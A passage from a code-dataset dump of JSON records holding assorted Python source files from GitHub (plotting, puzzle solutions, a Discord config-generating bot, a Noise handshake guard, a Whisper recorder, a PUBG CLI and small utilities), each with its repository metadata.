r_p_pupilplt = np.linspace(0, 1, 200)\n theta_p_pupilplt = np.linspace(-np.pi, np.pi, 300)\n\n R_p_pupilplt, Theta_p_pupilplt = np.meshgrid(r_p_pupilplt,\n theta_p_pupilplt)\n\n pupilplt = pupil_func(R_p_pupilplt, Theta_p_pupilplt, tau_fit, S0_fit,\n alpha_fit, phi_fit, beta_fit)\n\n X_pupilplt = R_p_pupilplt * np.cos(Theta_p_pupilplt)\n Y_pupilplt = R_p_pupilplt * np.sin(Theta_p_pupilplt)\n\n fig_pupil = plt.figure('pupil', figsize=(12, 6))\n ax_pupil = fig_pupil.add_subplot(121)\n pc_pupil = ax_pupil.pcolor(X_pupilplt,\n Y_pupilplt,\n np.angle(pupilplt),\n cmap=cm.twilight_shifted,\n vmin=-np.pi,\n vmax=np.pi,\n shading='auto')\n ax_pupil.set_aspect(1)\n ax_pupil.set_title('Phase of exit pupil (radian)')\n ax_pupil.axis('off')\n divider = make_axes_locatable(ax_pupil)\n cax = divider.append_axes(\"right\", size=\"5%\", pad=0.2)\n plt.colorbar(pc_pupil, cax=cax)\n\n ax_pupil_2 = fig_pupil.add_subplot(122)\n pc_pupil_2 = ax_pupil_2.pcolor(X_pupilplt,\n Y_pupilplt,\n np.angle(pupilplt),\n cmap=cm.RdYlGn,\n shading='auto')\n ax_pupil_2.set_aspect(1)\n ax_pupil_2.set_title('Phase of exit pupil (radian)')\n ax_pupil_2.axis('off')\n divider = make_axes_locatable(ax_pupil_2)\n cax = divider.append_axes(\"right\", size=\"5%\", pad=0.2)\n plt.colorbar(pc_pupil_2, cax=cax)\n if saveDir:\n plt.savefig(saveDir + \"\\\\Pupil.png\", dpi='figure')\n return fig_pupil, ax_pupil, ax_pupil_2\n","repo_name":"Feliconut/PurdueUltraCold","sub_path":"UltraCold/PupilFunc.py","file_name":"PupilFunc.py","file_ext":"py","file_size_in_byte":3022,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"72057839272","text":"class Solution:\n def house(self , person):\n mini = 1\n n = len(person)\n res = [1 for i in range(n)]\n res[0] = 1\n for i in range(1, n):\n cur = 0\n if person[i] > person[i-1]: # 比前者大\n cur = res[i-1] + 1\n elif person[i] < person[i-1]: # 比前者小\n if i + 1 < n and person[i+1] < person[i]: # 比后者大\n cur = res[i-1] - 1\n else: # 比后者小\n cur = mini if res[i-1] > mini else mini - 1\n else: # 与前者一样\n cur = mini\n mini = mini if mini < cur else cur\n res[i] = cur\n return sum(res) + n * (1 - mini)\n\na = [3,2,4]\ns = Solution()\nres = s.house(a)\nprint(res)\n","repo_name":"BrightHao/arithmetic","sub_path":"面试题集锦/邻居拆迁分房子/house.py","file_name":"house.py","file_ext":"py","file_size_in_byte":789,"program_lang":"python","lang":"de","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"72420277033","text":"import discord\nimport responses\nfrom cryptography.hazmat.primitives import serialization as crypto_serialization\nfrom cryptography.hazmat.primitives.asymmetric import rsa\nfrom cryptography.hazmat.backends import default_backend as crypto_default_backend\nfrom dotenv import dotenv_values\nfrom io import BytesIO\n\nimport codecs\nfrom cryptography.hazmat.primitives.asymmetric.x25519 import X25519PrivateKey\nfrom cryptography.hazmat.primitives import serialization\n\nfrom configparser import ConfigParser\n\nimport ipaddress\n\nconfig = dotenv_values(\".env\")\n\nTOKEN = config[\"DISCORD_TOKEN\"]\n\n\n\nasync def send_message(message, user_message):\n try:\n response = responses.handle_response(user_message)\n await message.channel.send(response)\n except Exception as e:\n print(e)\n\n\ndef run_discord_bot():\n\n intents = discord.Intents.default()\n intents.message_content = True\n client = discord.Client(intents=intents)\n client.tree = discord.app_commands.CommandTree(client)\n\n # intents = discord.Intents.default()\n # client = discord.Client(intents=intents)\n\n @client.event\n async def on_ready():\n await client.tree.sync()\n print(f'{client.user} is now running!')\n \n @client.tree.command(name=\"hello\")\n async def hello(interaction: discord.Interaction):\n await interaction.response.send_message(f\"Hi, {interaction.user.mention}\")\n\n @client.tree.command(name=\"generate\")\n async def generate(interaction: discord.Interaction):\n # generate private key\n private_key = X25519PrivateKey.generate()\n bytes_ = private_key.private_bytes( \n encoding=serialization.Encoding.Raw, \n format=serialization.PrivateFormat.Raw,\n encryption_algorithm=serialization.NoEncryption()\n )\n print(codecs.encode(bytes_, 'base64').decode('utf8').strip())\n\n # derive public key\n pubkey = private_key.public_key().public_bytes(encoding=serialization.Encoding.Raw, format=serialization.PublicFormat.Raw)\n print(codecs.encode(pubkey, 'base64').decode('utf8').strip())\n \n config = ConfigParser()\n config['Interface'] = {\n 'PrivateKey': codecs.encode(bytes_, 'base64').decode('utf8').strip(),\n 'Address': 'temp',\n 'DNS': '172.29.1.1'\n }\n config['Peer'] = {\n 'PublicKey': codecs.encode(pubkey, 'base64').decode('utf8').strip(),\n 'AllowedIPs': 'temp',\n 'Endpoint': 'temp'\n }\n\n with open('config.ini', 'w') as conf:\n config.write(conf)\n\n #public_key_file = BytesIO(config.ini)\n config_file = discord.File(fp='config.ini', filename=\"test.conf\")\n await interaction.response.send_message(\n content=f\"Here is your Config File!\",\n ephemeral=True,\n file=config_file\n )\n \n client.run(TOKEN)","repo_name":"realnihaoworld/discordbot","sub_path":"csecbot/bot.py","file_name":"bot.py","file_ext":"py","file_size_in_byte":2906,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"12178253295","text":"from dissononce.extras.processing.handshakestate_forwarder import ForwarderHandshakeState\nfrom transitions import Machine\nfrom transitions.core import MachineError\nimport logging\n\nlogger = logging.getLogger(__name__)\nlogging.getLogger('transitions').setLevel(logging.INFO)\n\n\nclass GuardedHandshakeState(ForwarderHandshakeState):\n \"\"\"GuardedHandshakeState wraps an existing HandshakeState to enforce a correct flow of the handshake process.\n This includes making sure the HandshakeState is initialized before usage, and that the flow order of write_message\n and read_message invocations match the HandshakePattern being used. A violation will result in an AssertionError\n getting raised.\"\"\"\n _STATES = [\n 'init',\n 'handshake',\n 'finish'\n ]\n _TRANSITIONS = [\n ['start', 'init', 'handshake'],\n # 'next' would be more compact but it conflicts\n # with object.next already available if user has\n # 'future' on py2 installed\n ['next_message', 'handshake', '='],\n ['start', 'handshake', '='],\n ['finish', 'handshake', 'finish'],\n ['start', 'finish', 'handshake']\n ]\n _TEMPLATE_PATTERN_STATE_READ = 'read_{pattern}'\n _TEMPLATE_PATTERN_STATE_WRITE = 'write_{pattern}'\n\n ERROR_TEMPL = \"Cannot {bad_method} while in {current} phase.\"\n\n def __init__(self, handshakestate):\n \"\"\"\n :param handshakestate:\n :type handshakestate: HandshakeState\n \"\"\"\n super(GuardedHandshakeState, self).__init__(handshakestate)\n self._handshake_machine = Machine(\n states=self._STATES,\n transitions=self._TRANSITIONS,\n initial='init'\n ) # type: Machine\n self._pattern_machine = None # type: Machine\n\n def _derive_pattern_machine(self, handshake_pattern, initiator):\n \"\"\"\n :param pattern:\n :type pattern: HandshakePattern\n :return:\n :rtype: Machine\n \"\"\"\n states = ['finish']\n transitions = []\n prev_state = None\n for i in range(0, len(handshake_pattern.message_patterns)):\n read_phase = i % 2 == 0\n if handshake_pattern.interpret_as_bob:\n read_phase = not read_phase\n if not initiator:\n read_phase = not read_phase\n message_pattern = handshake_pattern.message_patterns[i]\n pattern_str = \"_\".join(message_pattern)\n template = self._TEMPLATE_PATTERN_STATE_WRITE if read_phase else self._TEMPLATE_PATTERN_STATE_READ\n\n state = template.format(pattern=pattern_str)\n if prev_state is not None:\n action = 'read' if read_phase else 'write'\n transitions.append([action, prev_state, state])\n\n if i == len(handshake_pattern.message_patterns) - 1:\n transitions.append(['write' if read_phase else 'read', state, 'finish'])\n\n states.append(state)\n prev_state = state\n\n return Machine(states=states, transitions=transitions, initial=states[1])\n\n def initialize(self, handshake_pattern, initiator, prologue, s=None, e=None, rs=None, re=None, psks=None):\n try:\n self._handshake_machine.start()\n except MachineError as ex:\n raise self._convert_machine_error(ex, 'initialize')\n\n self._pattern_machine = self._derive_pattern_machine(handshake_pattern, initiator)\n\n return self._handshakestate.initialize(handshake_pattern, initiator, prologue, s, e, rs, re, psks)\n\n def write_message(self, payload, message_buffer):\n try:\n self._handshake_machine.next_message()\n self._pattern_machine.write()\n except MachineError as ex:\n raise self._convert_machine_error(ex, 'write_message')\n\n result = self._handshakestate.write_message(payload, message_buffer)\n if result is not None:\n self._handshake_machine.finish()\n return result\n\n def read_message(self, message, payload_buffer):\n try:\n self._handshake_machine.next_message()\n self._pattern_machine.read()\n except MachineError as ex:\n raise self._convert_machine_error(ex, 'read_message')\n\n result = self._handshakestate.read_message(message, payload_buffer)\n if result is not None:\n self._handshake_machine.finish()\n return result\n\n def _convert_machine_error(self, machine_error, bad_method):\n \"\"\"\n :param machine_error:\n :type machine_error: MachineError\n :param bad_method:\n :type bad_method: str\n :return:\n :rtype:\n \"\"\"\n if self._handshake_machine.state == 'init':\n current = 'initialize'\n elif self._handshake_machine.state == 'handshake':\n current = 'write_message' if bad_method == 'read_message' else 'write_message'\n else:\n current = self._handshake_machine.state\n\n error_message = self.ERROR_TEMPL.format(bad_method=bad_method, current=current)\n return AssertionError(error_message)\n","repo_name":"tgalal/dissononce","sub_path":"dissononce/extras/processing/handshakestate_guarded.py","file_name":"handshakestate_guarded.py","file_ext":"py","file_size_in_byte":5104,"program_lang":"python","lang":"en","doc_type":"code","stars":43,"dataset":"github-code","pt":"72"} +{"seq_id":"24450490689","text":"# Library Management System\n\nclass Library:\n def __init__(self,list_of_books,library_name):\n # creating a dictionary of all books keys\n self.lend_data={}\n self.list_of_books=list_of_books\n self.library_name=library_name\n\n # adding books to dictionary\n for books in self.list_of_books:\n # none means nobody lends this book\n self.lend_data[books]=None\n\n def display_books(self):\n for index,books in enumerate(self.list_of_books):\n print(f\"{index}:{books}\")\n\n def lend_book(self,book,reader):\n if book in self.list_of_books:\n if self.lend_data[book] is None:\n self.lend_data[book]=reader\n print(\"Book Lend\")\n else:\n print(f\"Sorry this book is lend by {self.lend_data[book]}\")\n else:\n print(\"You have written wrong book name\")\n\n def return_book(self,book,reader):\n if book in self.list_of_books:\n if self.lend_data[book] is not None:\n self.lend_data.pop(book)\n else:\n print(\"Sorry but this book is not lend\")\n else:\n print(\"You have written a wrong book name\")\n\n def add_book(self,book_name,reader):\n self.list_of_books.append(book_name)\n self.lend_data[book_name]=None\n\n def delete_book(self,book_name,reader):\n self.list_of_books.remove(book_name)\n self.lend_data.pop(book_name)\n\ndef main():\n #By default variables\n list_books=[\"Cookbook\",\"Sherlock Holmes\",\"Chacha Chaudhary\",\"Rich Dad and Poor Dad\"]\n library_name=\"Sahil\"\n secret_key=123\n\n Sahil=Library(list_books,library_name)\n\n print(f\"Welcome To {Sahil.library_name} library\\n\\nq for exit \\nDisplay Books Using 'd' and Lend a Book Using 'l' and Return a Book using 'r' \\nAdd a Book Using 'a' and Delete a Book Using 'del' \\n\")\n Exit=False\n while(Exit is not True):\n _input=input(\"option:\")\n print(\"\\n\")\n\n if _input==\"q\":\n Exit=True\n\n elif _input==\"d\":\n Sahil.display_books()\n\n elif _input==\"l\":\n _input2=input(\"What is your name\")\n _input3=input(\"Which book do you want to lend\")\n Sahil.lend_book(_input3,_input2)\n\n elif _input==\"a\":\n _input2=input(\"What is your name\")\n _input3=input(\"Book name which you want to add\")\n Sahil.add_book(_input3,_input2)\n\n elif _input==\"del\":\n _input_secret=int(input(\"Write the secret code to delete\"))\n if _input_secret==secret_key:\n _input2=input(\"What is your name\")\n _input3=input(\"Book which you want to delete\")\n Sahil.delete_book(_input3,_input2)\n else:\n print(\"Sorry we can't delete this book\")\n\n elif _input==\"r\":\n _input2=input(\"What is your name\")\n _input3=input(\"Which book do you want to return\")\n Sahil.return_book(_input3,_input2)\n\n\nif __name__=='__main__':\n main()\n\n","repo_name":"SaHiLGhAtE/PythonMaterial","sub_path":"OOPS Mini Project.py","file_name":"OOPS Mini Project.py","file_ext":"py","file_size_in_byte":3062,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"26974439584","text":"import os \nimport sys \nimport json\n\ncommon_path = os.path.abspath(os.path.join(__file__, \"../../common\"))\nsys.path.append(common_path)\n\nfrom query import SceneInterp\nfrom utils import get_config \n\ndef check_success(binding_dict, target):\n if \"var_0\" not in binding_dict.keys():\n return False\n\n if not len(binding_dict[\"var_0\"]) == 1:\n return False\n\n if list(binding_dict[\"var_0\"])[0] == target:\n return True\n\n return False \n\ndef check_prog_correct(scene, prog, target, config):\n interp = SceneInterp(scene[\"ground_truth\"], config, is_uncertain=False)\n binding_dict = interp.fast_query(prog)\n res = check_success(binding_dict, target)\n return res\n\ndef analysis(scenes, progs_dir):\n ct = 0\n corrects = []\n wrongs = []\n config = get_config()\n\n for scene in scenes:\n target = 0\n for obj in scene[\"objects\"]:\n \n if not ct == 6384:\n ct += 1\n target += 1\n continue\n\n prog_path = os.path.join(progs_dir, str(ct))\n prog_path_1 = os.path.join(progs_dir, str(ct)+\"_1\")\n\n if os.path.exists(prog_path_1):\n prog_path = prog_path_1\n\n with open(prog_path, 'r') as prog_file:\n prog_info = json.load(prog_file)\n prog = prog_info[\"prog\"]\n\n print(ct)\n if type(prog[0][0]) == list:\n if len(prog) == 2:\n prog[0].append(prog[1])\n elif len(prog) == 1:\n if len(prog[0]) > 1 and type(prog[0][-1][0]) == list:\n prog = prog[0][:-1] + (prog[0][-1])\n else:\n prog = prog[0]\n else:\n raise(\"Prog formatting error\")\n\n res = check_prog_correct(scene, prog, target, config)\n \n ct += 1\n target += 1\n\n if res:\n corrects.append(ct)\n else:\n print(\"wrong\")\n wrongs.append(ct)\n\n # print(len(corrects))\n print(wrongs)\n\nif __name__ == \"__main__\":\n\n data_dir = os.path.abspath(__file__ + \"../../../../data\")\n raw_path = os.path.abspath(os.path.join(data_dir, \"./processed_dataset/raw\"))\n scenes_path = os.path.abspath(os.path.join(raw_path, \"img_test_prob_CLEVR_testing_data_val_1000.json\"))\n progs_dir = os.path.abspath(os.path.join(data_dir, \"eval_result/DQN_prob_CLEVR_testing_1000\"))\n\n with open(scenes_path) as scenes_file:\n scenes = json.load(scenes_file)\n \n analysis(scenes, progs_dir)","repo_name":"moqingyan/object_reference_synthesis","sub_path":"src_prob/q_learning_prob/verify.py","file_name":"verify.py","file_ext":"py","file_size_in_byte":2612,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"72"} +{"seq_id":"32888377598","text":"import json\nimport subprocess\nimport time\nimport wave\nimport pyaudio\nimport threading\nfrom pynput import keyboard\nfrom pynput.keyboard import Key\nimport requests\n\n\nSEND_URI = \"http://192.168.106.220:8000/reserve-spell\"\nprocess = None\n\ndef whisper_runner(filename):\n global process\n while True:\n print(\"start whisper\")\n # ここに音声認識の処理を書く\n process = subprocess.Popen([\"./whisper/whisper.cpp/main\",\n \"-t\", \"9\",\n \"-f\", \"output.wav\",\n \"-m\", \"./whisper/whisper.cpp/models/ggml-large.bin\",\n \"-l\", \"ja\", \"--output-json\",\n \"--output-file\", \"text\", \"--prompt\", \"竜神 慈悲 轟け\"], stdin=subprocess.PIPE,\n stderr=subprocess.DEVNULL,\n text=True)\n\n process.wait()\n print(\"finish whisper\")\n\n whisper_response = json.load(open(\"text.json\", \"r\", encoding=\"utf-8\"))\n\n try:\n whisper_text = whisper_response[\"transcription\"][0][\"text\"]\n print(f\"whisper_text: \\\"{whisper_text}\\\"\")\n except IndexError:\n print(\"failed to get whisper_text\")\n continue\n\n try:\n requests.post(SEND_URI, json={\"text\": whisper_text.replace(\" \", \"\")})\n except:\n print(\"failed to post\")\n finally:\n print(\"finish post\")\n\n\n\n# 録音関数\ndef record_audio(filename):\n global recording\n global process\n print(\"start record thread\")\n\n p = pyaudio.PyAudio()\n\n info = p.get_host_api_info_by_index(0)\n numdevices = info.get('deviceCount')\n device_index = -1\n for i in range(0, numdevices):\n if (p.get_device_info_by_host_api_device_index(0, i).get('maxInputChannels')) > 0:\n name = p.get_device_info_by_host_api_device_index(0, i).get('name')\n print(\"Input Device id \", i, \" - \", name)\n if name.startswith(\"OpenComm2\"):\n print(\"found OpenComm2\")\n device_info = p.get_device_info_by_index(i)\n print(f'Default Sample Rate: {device_info[\"defaultSampleRate\"]}')\n print(f'Max Input Channels: {device_info}')\n device_index = int(i)\n break\n if device_index == -1:\n print(\"not found OpenComm2\")\n exit(1)\n\n frames_per_buffer = 1024\n print(device_index)\n\n stream = p.open(format=pyaudio.paInt16,\n channels=1,\n rate=16000,\n input=True,\n input_device_index=device_index,\n frames_per_buffer=frames_per_buffer)\n\n while True:\n while not recording:\n _ = stream.read(frames_per_buffer)\n\n frames = []\n\n print(\"Recording... Press and hold 'r' to stop recording\")\n\n while recording:\n data = stream.read(frames_per_buffer)\n frames.append(data)\n\n print(\"Stopped recording.\")\n\n\n wf = wave.open(filename, 'wb')\n wf.setnchannels(1)\n wf.setsampwidth(p.get_sample_size(pyaudio.paInt16))\n wf.setframerate(16000)\n wf.writeframes(b''.join(frames))\n wf.close()\n\n print(\"Saved recording.\")\n\n process.stdin.write(\"\\n\")\n process.stdin.flush()\n stream.stop_stream()\n stream.close()\n\n# キーが押されている間録音するフラグ\nrecording = False\n\ndef on_press(key):\n global recording\n if key == Key.space:\n recording = True\n\ndef on_release(key):\n global recording\n if key == Key.space:\n recording = False\n\n\nif __name__ == '__main__':\n # キーボードリスナーをセットアップ\n threading.Thread(target=record_audio, args=('output.wav',)).start()\n threading.Thread(target=whisper_runner, args=('output.wav',)).start()\n with keyboard.Listener(on_press=on_press, on_release=on_release) as listener:\n listener.join()\n","repo_name":"team-satisfactions/aih1","sub_path":"whisper/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3917,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"39043762206","text":"# System imports\nimport os\nimport subprocess\nfrom sys import exit\n\n# xeno imports\nfrom xeno.core.output import print_error\nfrom xeno.core.configuration import get_configuration\n\n\ndef run_editor_on_local_path(local_path, exit_on_no_editor=True):\n \"\"\"Launches the user's editor on the specified local path and waits for it\n to complete.\n\n If no editor can be identified from xeno settings or the EDITOR environment\n variables, prints an error and exits.\n\n Args:\n local_path: A string representing the local path to open.\n exit_on_no_editor: Whether or not to exit if the editor cannot be\n determined\n\n Returns:\n The exit status code of the editor, or if no editor could be\n identified and exit_on_no_editor=False, returns None.\n \"\"\"\n # Load configuration\n configuration = get_configuration()\n\n # Check if the user has specified an editor\n editor = None\n if configuration.has_option('core', 'editor'):\n editor = configuration.get('core', 'editor')\n\n # Check if we need to fall-back to the EDITOR environment variable\n if editor is None:\n editor = os.environ.get('EDITOR', None)\n\n # If we still haven't identified an editor, bail\n if editor is None:\n print_error('Unable to identify editor. Either set the xeno '\n '\\'core.editor\\' option or the \\'EDITOR\\' environment '\n 'variable.')\n if exit_on_no_editor:\n exit(1)\n else:\n return None\n\n # Launch the editor and wait for it to finish\n return subprocess.call([editor, local_path])\n","repo_name":"ameyapg/xeno","sub_path":"xeno/core/editor.py","file_name":"editor.py","file_ext":"py","file_size_in_byte":1615,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"72"} +{"seq_id":"41458230799","text":"#\n# @lc app=leetcode id=811 lang=python3\n#\n# [811] Subdomain Visit Count\n#\n\n# @lc code=start\nfrom collections import defaultdict\n\n\nclass Solution:\n def subdomainVisits(self, cpdomains: List[str]) -> List[str]:\n\n counts = defaultdict(int)\n\n while len(cpdomains):\n\n current_count, current_domain = cpdomains.pop().split(' ')\n counts[current_domain] += int(current_count)\n\n temp = current_domain.split('.')\n\n if len(temp) > 1:\n new_string = current_count+' '+'.'.join(temp[1:])\n cpdomains.append(new_string)\n\n result = []\n\n for i, j in counts.items():\n result.append(str(j)+' '+i)\n\n return result\n\n\n# @lc code=end\n","repo_name":"HOZH/leetCode","sub_path":"leetCodePython2020/811.subdomain-visit-count.py","file_name":"811.subdomain-visit-count.py","file_ext":"py","file_size_in_byte":734,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"72"} +{"seq_id":"31476754367","text":"\"\"\"CLI functionality.\n\nEntry point: $ chicken-dinner [CMD] [OPTS] [player_name]\n\"\"\"\nimport logging\nimport os\nfrom collections import defaultdict\n\nimport click\nfrom tabulate import tabulate\n\nfrom chicken_dinner.assets.dictionary import update_dictionary\nfrom chicken_dinner.assets.maps import update_maps\nfrom chicken_dinner.pubgapi import PUBG\n\nCONTEXT_SETTINGS = dict(help_option_names=[\"-h\", \"--help\"])\n\n\ndef get_pubg(api_key, shard):\n if api_key is None:\n raise ValueError(\"Must provide API key or environment variable 'PUBG_API_KEY'.\")\n pubg = PUBG(api_key, shard)\n return pubg\n\n\n@click.group(context_settings=CONTEXT_SETTINGS)\ndef cli():\n pass\n\n\n@click.command(short_help=\"Update local assets\")\ndef assets():\n \"\"\"Download maps and update local asset mapping.\n\n usage: $ chicken-dinner assets\n \"\"\"\n click.secho(\"Updating maps\", fg=\"yellow\")\n update_maps()\n click.secho(\"Updating asset dictionary\", fg=\"yellow\")\n update_dictionary()\n\n\n@click.command(short_help=\"Display leaderboards\")\n@click.option(\"--api-key\", default=os.environ.get(\"PUBG_API_KEY\", None), help=\"pubg api key\")\n@click.option(\"--shard\", default=\"steam\", help=\"pubg api shard\")\n@click.option(\"--show-ids\", is_flag=True, help=\"show player ids\")\n@click.argument(\"game_mode\")\ndef leaderboard(api_key, shard, show_ids, game_mode):\n \"\"\"Retrieve the latest leaderboard standings.\n\n usage: $ chicken-dinner leaderboard --api-key=$PUBG_API_KEY --shard=steam --show-ids solo-fpp\n \"\"\"\n pubg = get_pubg(api_key, shard)\n leaderboards = pubg.leaderboard(game_mode=game_mode)\n\n if not show_ids:\n exclude = [\"id\"]\n else:\n exclude = []\n\n click.echo()\n table = leaderboards.to_table(exclude_fields=exclude)\n lines = table.split(\"\\n\")\n for line in lines[:2]:\n click.secho(line, fg=\"yellow\")\n for line in lines[2:]:\n click.secho(line)\n\n\n@click.command(short_help=\"Display player stats\")\n@click.option(\"--api-key\", default=os.environ.get(\"PUBG_API_KEY\", None), help=\"pubg api key\")\n@click.option(\"--shard\", default=\"steam\", help=\"pubg api shard\")\n@click.option(\"-l\", \"--lifetime\", is_flag=True, help=\"lifetime stats\")\n@click.option(\"-g\", \"--group\", default=None, help=\"game mode group\")\n@click.option(\"-p\", \"--perspective\", default=None, help=\"game mode perspective\")\n@click.argument(\"player_name\")\ndef stats(api_key, shard, lifetime, group, perspective, player_name):\n \"\"\"Retrieve stats for a player.\n\n usage: $ chicken-dinner stats --api-key=$PUBG_API_KEY --shard=steam --lifetime --group=solo --perspective=fpp\n usage: $ chicken-dinner stats --api-key=$PUBG_API_KEY --shard=steam -l -g solo -p fpp\n \"\"\"\n pubg = get_pubg(api_key, shard)\n player = pubg.players_from_names(player_name)[0]\n if lifetime:\n player_season = pubg.lifetime(player_id=player.id)\n else:\n player_season = player.get_current_season()\n player_season_stats = player_season.game_mode_stats(group=group, perspective=perspective)\n game_modes_stats = defaultdict(list)\n for game_mode, game_mode_stats in player_season_stats.items():\n for stat, value in game_mode_stats.items():\n if len(game_modes_stats[\"stats\"]) < len(game_mode_stats.keys()):\n game_modes_stats[\"stats\"].append(stat)\n game_modes_stats[game_mode].append(value)\n click.echo()\n table = tabulate(game_modes_stats, headers=\"keys\")\n lines = table.split(\"\\n\")\n for line in lines[:2]:\n click.secho(line, fg=\"yellow\")\n for line in lines[2:]:\n click.secho(line)\n\n\n@click.command(short_help=\"Generate replay visualizations\")\n@click.option(\"--api-key\", default=os.environ.get(\"PUBG_API_KEY\", None), help=\"pubg api key\")\n@click.option(\"--shard\", default=\"steam\", help=\"pubg api shard\")\n@click.option(\"-w\", \"--wins-only\", is_flag=True, help=\"wins only\")\n@click.option(\"-l\", \"--latest\", is_flag=True, help=\"latest match only\")\n@click.option(\"-s\", \"--size\", default=6, help=\"render size\")\n@click.option(\"-p\", \"--path\", default=\".\", help=\"the path for new files\")\n@click.option(\"-v\", \"--verbose\", is_flag=True, help=\"enable verbose logging\")\n@click.argument(\"player_name\")\ndef replay(api_key, shard, wins_only, latest, size, path, verbose, player_name):\n \"\"\"Generate html replay(s) for a player's recent games.\n\n usage: $ chicken-dinner replay --api-key=$PUBG_API_KEY --shard=steam -lw -s 6 -p /path/to/my/replays\n usage: $ chicken-dinner replay --api-key=$PUBG_API_KEY --shard=steam --latest --wins-only --size=6 --path=/path/to/my/replays\n \"\"\"\n if verbose:\n logger = logging.getLogger()\n logger.setLevel(\"INFO\")\n pubg = get_pubg(api_key, shard)\n player = pubg.players_from_names(player_name)[0]\n for match_id in player.match_ids:\n match = pubg.match(match_id)\n click.echo(\"Match ID: \" + match_id)\n if wins_only and player_name not in match.winner.player_names:\n continue\n else:\n click.secho(\"Downloading: \" + match_id, fg=\"yellow\")\n match_telemetry = match.get_telemetry()\n click.secho(\"Rendering: \" + match_id, fg=\"yellow\")\n filename = os.path.join(\n path, player_name + \"_\" + match.created_at.replace(\"-\", \"\").replace(\":\", \"\") + \"_\" + match_id + \".html\"\n )\n match_telemetry.playback_animation(\n filename,\n zoom=True,\n labels=True,\n label_players=[player_name],\n highlight_winner=True,\n label_highlights=True,\n size=size,\n end_frames=60,\n use_hi_res=False,\n color_teams=False if \"solo\" in match.game_mode else True,\n interpolate=True,\n damage=True,\n interval=2,\n fps=30,\n )\n click.secho(\"Saved: \" + filename, fg=\"green\")\n if latest:\n break\n\n\ncli.add_command(replay, name=\"replay\")\ncli.add_command(assets, name=\"assets\")\ncli.add_command(leaderboard, name=\"leaderboard\")\ncli.add_command(stats, name=\"stats\")\n","repo_name":"crflynn/chicken-dinner","sub_path":"chicken_dinner/cli/cli.py","file_name":"cli.py","file_ext":"py","file_size_in_byte":6115,"program_lang":"python","lang":"en","doc_type":"code","stars":34,"dataset":"github-code","pt":"72"} +{"seq_id":"31539143719","text":"def resolve():\n import itertools as it\n \n N = int(input())\n A = [int(e) for e in input().split()]\n B = [A[0]]\n for a, b in it.pairwise(A):\n if abs(a - b) == 1:\n B.append(b)\n elif a < b:\n B += range(a + 1, b + 1)\n else:\n B += range(a - 1, b - 1, -1)\n print(*B)\n\n# resolve()\n# exit()\n\nimport sys\nfrom io import StringIO\nimport unittest\n\n\nclass TestClass(unittest.TestCase):\n def assertIO(self, input, output):\n stdout, stdin = sys.stdout, sys.stdin\n sys.stdout, sys.stdin = StringIO(), StringIO(input)\n resolve()\n sys.stdout.seek(0)\n out = sys.stdout.read()[:-1]\n sys.stdout, sys.stdin = stdout, stdin\n self.assertEqual(out, output)\n\n def test_入力例_1(self):\n input = \"\"\"4\n2 5 1 2\"\"\"\n output = \"\"\"2 3 4 5 4 3 2 1 2\"\"\"\n self.assertIO(input, output)\n\n def test_入力例_2(self):\n input = \"\"\"6\n3 4 5 6 5 4\"\"\"\n output = \"\"\"3 4 5 6 5 4\"\"\"\n self.assertIO(input, output)\n\n\nif __name__ == \"__main__\":\n unittest.main()\n","repo_name":"koba925/alds","sub_path":"atcoder/ABC301/B.py","file_name":"B.py","file_ext":"py","file_size_in_byte":1091,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"41031437992","text":"import timm\nimport torch\nfrom torch import nn\n\n\nclass SakeNet(nn.Module):\n def __init__(\n self,\n ):\n super().__init__()\n model_name = \"convnext_base\"\n pretrained = True\n base_model = timm.create_model(\n model_name, num_classes=0, pretrained=pretrained, in_chans=3)\n in_features = base_model.num_features\n self.backbone = base_model\n print(\"load imagenet model_name:\", model_name)\n print(\"load imagenet pretrained:\", pretrained)\n\n self.in_features = in_features\n embedding_dim = 128\n self.fc = nn.Linear(self.in_features, embedding_dim)\n\n def get_embedding(self, image: torch.tensor) -> torch.tensor:\n output = self.backbone(image)\n output = self.fc(output)\n return output\n","repo_name":"ground0state/sake_brand_image_search","sub_path":"exp01/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":797,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"15871722741","text":"import sqlite3\n\n# Create new database\nconn = sqlite3.connect('LicensingManagementDB.db')\n\n# Create Cursor to execute queries\ncur = conn.cursor()\n\n# Drop table from database\ntry:\n conn.execute('''Drop table Users''')\n # Save changes\n conn.commit()\n print('Users table dropped.')\nexcept:\n print('Users table did not exist.')\n\n# Create table in database\ncur.execute('''CREATE TABLE Users(\nUsers_ID INTEGER PRIMARY KEY NOT NULL,\nUsername TEXT NOT NULL,\nPassword TEXT NOT NULL,\nRoleLevel INTEGER NOT NULL);\n''')\n\n# Save changes\nconn.commit()\nprint('Users Table created.')\n\n# Users data\nusers = [(1, 'akanotz', 'akanotz', 1)]\n\n# Insert bidders into table\ncur.executemany(\"INSERT INTO Users VALUES (?, ?, ?, ?)\", users)\n\n# Save changes\nconn.commit()\n\n# Close database connection\nconn.close()\nprint('Connection closed.')\n","repo_name":"AlexKanotz/Licensing-Management-System","sub_path":"setupDB.py","file_name":"setupDB.py","file_ext":"py","file_size_in_byte":828,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"} +{"seq_id":"10662946796","text":"from gi.repository import GObject\n\nfrom glack.models.avatar import Avatar\n\n\nclass User(GObject.GObject):\n avatar = GObject.Property(type=Avatar)\n deleted = GObject.Property(type=bool, default=False)\n id = GObject.Property(type=str)\n name = GObject.Property(type=str)\n presence = GObject.Property(type=str)\n title = GObject.Property(type=str)\n username = GObject.Property(type=str)\n\n def __init__(self, ws, data):\n super().__init__()\n 